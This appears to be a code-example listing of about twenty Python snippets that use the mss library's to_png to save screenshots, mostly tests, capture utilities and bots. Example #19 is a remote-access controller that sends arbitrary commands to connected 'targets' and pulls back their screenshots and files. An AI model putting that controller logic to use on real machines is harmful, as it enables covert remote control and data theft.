예제 #1
0
def test_compression_level(sct):
    data = b"rgb" * WIDTH * HEIGHT
    output = "{}x{}.png".format(WIDTH, HEIGHT)

    to_png(data, (WIDTH, HEIGHT), level=sct.compression_level, output=output)
    with open(output, "rb") as png:
        assert hashlib.md5(png.read()).hexdigest() == MD5SUM
예제 #2
0
def test_output_file():
    data = b"rgb" * WIDTH * HEIGHT
    output = "{}x{}.png".format(WIDTH, HEIGHT)
    to_png(data, (WIDTH, HEIGHT), output=output)

    assert os.path.isfile(output)
    with open(output, "rb") as png:
        assert hashlib.md5(png.read()).hexdigest() == MD5SUM
예제 #3
0
def test_output_file():
    data = b"rgb" * WIDTH * HEIGHT
    output = "{}x{}.png".format(WIDTH, HEIGHT)
    to_png(data, (WIDTH, HEIGHT), output=output)

    assert os.path.isfile(output)
    with open(output, "rb") as png:
        assert hashlib.md5(png.read()).hexdigest() == MD5SUM
예제 #4
0
    def evaluate_result(self):
        time.sleep(.02)  # wait a tiny bit for the colour to be clear
        img = mss().grab(self.bbox)
        mss_tools.to_png(img.rgb, img.size, output="lastResult.png")

        is_red = self.is_result_red(img)
        is_green = self.is_result_green(img)
        self.apply_result_with_red_green(is_red, is_green)
    def capture_paint(self):
        with self.sct:
            x, y, h, w = self.get_coord()
            # The screen part to capture
            monitor = {"top": y, "left": x, "width": w, "height": h}
            output = "sct-{top}x{left}_{width}x{height}.png".format(**monitor)

            # Grab the data
            sct_img = self.sct.grab(monitor)

            # Save to the picture file
            tools.to_png(sct_img.rgb, sct_img.size, output=output)
            print(output)
예제 #6
0
async def screenshot():
    with mss() as sct:
        mon_idx: int = 0  # 0 => all monitors
        mon = sct.monitors[mon_idx]
        sct_img = sct.grab(mon)
        sct_img_bytes = tools.to_png(sct_img.rgb, sct_img.size)
        return StreamingResponse(io.BytesIO(sct_img_bytes), media_type="image/png")
예제 #7
0
    def check_lastline(self, drag=6):
        print('CHECKING LAST LINE')
        last_line = False
        sct_img = self.sct.grab(self.r1_monitor)
        to_png(sct_img.rgb, sct_img.size, output=img_dict['r1_lastline'])
        
        if drag == 6:
            self.relative_drag(md_drag_from6, md_drag_to6, delay=1.0)
        else:
            self.relative_drag(md_drag_from4, md_drag_to4, delay=1.0)
        time.sleep(1.0)

        screen = get_screen(self.sct, self.r1_monitor10)
        r1_lastline_img = cv2.imread(img_dict['r1_lastline'])
        _, lastline_diff = find_img_pos(screen, r1_lastline_img, interval=1)

        if lastline_diff < 0.005:
            last_line = True
        return last_line
예제 #8
0
    def run(self, **kwargs):
        import mss
        import base64
        from mss.tools import to_png

        with mss.mss() as screen:
            screen_shot = screen.grab(screen.monitors[0])
            img = base64.b64encode(to_png(screen_shot.rgb,
                                          screen_shot.size)).decode()
            return {"type": "images", "images": [img]}
예제 #9
0
def save():

    screenshots = []

    with mss() as mon:

        monitors = mon.monitors

    monitors = monitors[1:] if (len(monitors) > 1) else monitors

    for _ in monitors:

            with mss() as img:

                content = img.grab(_)

            screenshots.append(to_png(content.rgb, content.size))

    return(screenshots)
예제 #10
0
파일: utilities.py 프로젝트: RusinR/FumoCam
def notify_admin(message: str) -> bool:
    # TODO: Make !dev a seperate, always-running process
    webhook_url = os.getenv("DISCORD_WEBHOOK_DEV_CHANNEL", None)
    if webhook_url is None:
        return False
    webhook_data = {
        "content": f"<@{os.getenv('DISCORD_OWNER_ID')}>\n{message}",
        "username": Discord.webhook_username,
    }
    result = post(webhook_url, json=webhook_data)
    try:
        result.raise_for_status()
    except HTTPError as err:
        print(err)
    else:
        print(f"[Dev Notified] {message}")

    try:
        filename = f"{time()}.png"
        screenshot = take_screenshot_binary_blocking()
        if screenshot is not None:
            screenshot_binary = mss_tools.to_png(screenshot.rgb, screenshot.size)
            post(
                webhook_url,
                files={f"_{filename}": (filename, screenshot_binary)},
            )
            try:
                result.raise_for_status()
            except HTTPError as error:
                print(error)
            else:
                print(f"[Logged Screenshot] {message}")
    except Exception:
        print(format_exc())

    return True
import mss.tools as tools
import pyscreenshot as ImageGrab
import pyautogui
import time
import numpy as np
import cv2

from mss import mss, tools
from PIL import ImageOps, Image

cactus_box = {'left': 82 + 65, 'top': 248 - 25, 'width': 500, 'height': 200}
sct = mss()
print("screenshot")
img = sct.grab(cactus_box)
tools.to_png(img.rgb, img.size, output='sr.png')
#####
# SOME CONSTANTS
BLANK_BOX = 247000
GAMEOVER_RANGE = [10000, 27000]
TIME_BETWEEN_FRAMES = .01
TIME_BETWEEN_GAMES = .5
LINE_START_Y = 248  #temp value
LINE_START_X = 115  #temp value
OFFSET_TREX_X = 68 + 20
OFFSET_TREX_Y = 25
OFFSET_RELOAD_X = 220
OFFSET_RELOAD_Y = 55


class Cordinates(object):
    """docstring for Cordinates"""
예제 #12
0
def test_output_raw_bytes():
    data = b"rgb" * WIDTH * HEIGHT
    raw = to_png(data, (WIDTH, HEIGHT))
    assert hashlib.md5(raw).hexdigest() == MD5SUM
예제 #13
0
def test_compression_levels(level, checksum):
    data = b"rgb" * WIDTH * HEIGHT
    raw = to_png(data, (WIDTH, HEIGHT), level=level)
    md5 = hashlib.md5(raw).hexdigest()
    assert md5 == checksum
예제 #14
0
def test_compression_levels(level, checksum):
    data = b"rgb" * WIDTH * HEIGHT
    raw = to_png(data, (WIDTH, HEIGHT), level=level)
    md5 = hashlib.md5(raw).hexdigest()
    assert md5 == checksum
예제 #15
0
def test_output_raw_bytes():
    data = b"rgb" * WIDTH * HEIGHT
    raw = to_png(data, (WIDTH, HEIGHT))
    assert hashlib.md5(raw).hexdigest() == MD5SUM
예제 #16
0
파일: ss.py 프로젝트: trblackw/recent-pdf
from mss import mss
from mss import tools

with mss() as sct:
    # The screen part to capture
    monitor = {'top': 0, 'left': 1920, 'width': 640, 'height': 400}
    output = 'sct-{top}x{left}_{width}x{height}.png'.format(**monitor)

    # Grab the data
    sct_img = sct.grab(monitor)

    # Save to the picture file
    tools.to_png(sct_img.rgb, sct_img.size, output=output)
    print(output)
예제 #17
0
 def inform_user_about_problem(self, image_name, img):
     print("---Problem: " + image_name + ".png")
     mss_tools.to_png(img.rgb, img.size, output=(image_name + ".png"))
예제 #18
0
 def save(self, img, output):
     tools.to_png(img.rgb, img.size, output=output)
예제 #19
0
    def send_target_commands(self, target, conn):
        """ Connect with remote target client
        :param conn:
        :param target:
        """
        try: #PING IF LIVE
            conn.send(str.encode(" "))
            cwd_bytes = self.read_command_output(conn)
            cwd = str(cwd_bytes, "utf-8")
            cwd.split("$-?")
        except:
            cwd = '***'
            
        try: #Recv valuable data from client
            mon_size_bytes = self.read_command_output(conn)
            #print(mon_size_bytes)
            mon_size = str(mon_size_bytes, "utf-8")
            width, height = mon_size.split()
            mon_tuple = (int(width), int(height))
            print('Monitor size is: ' + mon_size)
        except:
            print('Failed getting monitor size from client')
            pass
        sys.stdout.write(colored(cwd, 'red', attrs=['bold']))
        dir = cwd
        cmd = ''

        while True:
            if cmd == 'quit':
                del self.all_connections[target]
                del self.all_addresses[target]
                break
            if cmd == '':
                pass
            try:
                cmd = input()
                if len(str.encode(cmd, 'utf-8')) > 0:
                    conn.send(str.encode(cmd))
                    print('Fetching response...')
                    output = self.read_command_output(conn)
                    if cmd == 'quit':
                        break
                    try: #If response is text
                        client_response = str(output, "utf-8")
                        msg, dir = client_response.split("$-?")
                    except: #If response is not text
                        client_response = output
                        cmd_part, filetosave = cmd.split()
                        if(cmd_part == 'sc'): #If response is not text and command contained sc (screenshot)
                            tools.to_png(client_response, mon_tuple, filetosave) #Svae img_with mon_tuple for size from on connect
                            
                        elif(cmd_part == 'put'):
                            pass
                        
                        else: #If it was a request for a file. TODO: Add if cmd == 'get'
                            self.save_file(client_response, filetosave)
                        msg = "Done!\n"
                        #dir = '\nFiles will be saved in your working directory!>'
                    try:
                        sys.stdout.write(msg)
                        sys.stdout.write(colored(dir, 'red', attrs=['bold']))
                    except Exception as e:
                        print("Could not print result...")

            except Exception as e:
                print("Connection was lost (Please check if the client is live and reconnect) %s" %str(e))
                #sys.stdout.write(colored(dir, 'red', attrs=['bold']))
                break
        del self.all_connections[target]
        del self.all_addresses[target]
        return
예제 #20
0
with mss() as sct:
    #print(sys.argv)
    if sys.argv[1] == '0':
        MONITOR_NUMBER = int(sys.argv[2])
        mon = sct.monitors[MONITOR_NUMBER]
        monitor = {
            "top": mon["top"],
            "left": mon["left"],
            "width": mon["width"],
            "height": mon["height"],
            "mon": MONITOR_NUMBER
        }

        im = sct.grab(monitor)
        raw = MSSTools.to_png(im.rgb, im.size)
        b = Image.open(io.BytesIO(raw))
        b.show()
    else:
        SECTION_IND = sys.argv[7]
        SUB_SECTION_COUNT = int(sys.argv[8])

        X_COORD = int(sys.argv[3])
        Y_COORD = int(sys.argv[4])
        WIDTH = int(sys.argv[5])
        HEIGHT = int(sys.argv[6])
        MONITOR_NUMBER = int(sys.argv[2])
        mon = sct.monitors[MONITOR_NUMBER]

        # Capture a bbox using percent values
        monitor = {
예제 #21
0
def capture_screen_by_loc(file_path, loc_dic):
    # loc = {"left": 0, "top": 0, "width": 100, "height": 100}
    with mss() as capture:
        img = capture.grab(monitor=loc_dic)
        tools.to_png(img.rgb, img.size, output=file_path)
예제 #22
0
def capture():
    global x1, y1, drawing, num, img, img2, x2, y2

    x1, y1, x2, y2 = 0, 0, 0, 0
    drawing = False

    mon_num = values["dropdown"]

    with mss() as sct:
        monitors = sct.monitors
        monitor = sct.monitors[mon_num]
        im = sct.grab(monitor)
        to_png(im.rgb, im.size, output="monitor-1.png")

    def draw_rect(event, x, y, flags, param):
        global x1, y1, drawing, num, img, img2, x2, y2

        if event == cv2.EVENT_LBUTTONDOWN:
            drawing = True
            x1, y1 = x, y

        elif event == cv2.EVENT_MOUSEMOVE:
            if drawing == True:
                a, b = x, y
                if a != x & b != y:
                    img = img2.copy()
                    cv2.rectangle(img, (x1, y1), (x, y), (0, 255, 0), 2)

        elif event == cv2.EVENT_LBUTTONUP:
            drawing = False
            num += 1
            font = cv2.FONT_HERSHEY_SIMPLEX
            x2, y2 = x, y

    key = ord('a')
    img = cv2.imread('monitor-1.png')  # reading image
    img2 = img.copy()
    cv2.namedWindow("main", cv2.WINDOW_NORMAL)

    movex = 0
    if mon_num > 1:
        monitors[0]['width'] = 0
        for i in range(mon_num):
            movex += monitors[i]["width"]

    cv2.moveWindow("main", movex, 0)
    cv2.setMouseCallback("main", draw_rect)
    cv2.setWindowProperty("main", cv2.WND_PROP_FULLSCREEN,
                          cv2.WINDOW_FULLSCREEN)
    num = 0

    # PRESS w to confirm save selected bounded box
    while key != ord('w'):
        cv2.imshow("main", img)
        key = cv2.waitKey(1) & 0xFF

    print(
        f"Region captured at: \n -->Top Left: ({x1}, {y1})\n -->Bottom Right: ({x2}, {y2})"
    )

    if key == ord('w'):
        #cv2.imwrite('snap.png',img2[y1:y2,x1:x2])
        cv2.destroyAllWindows()
        os.remove('monitor-1.png')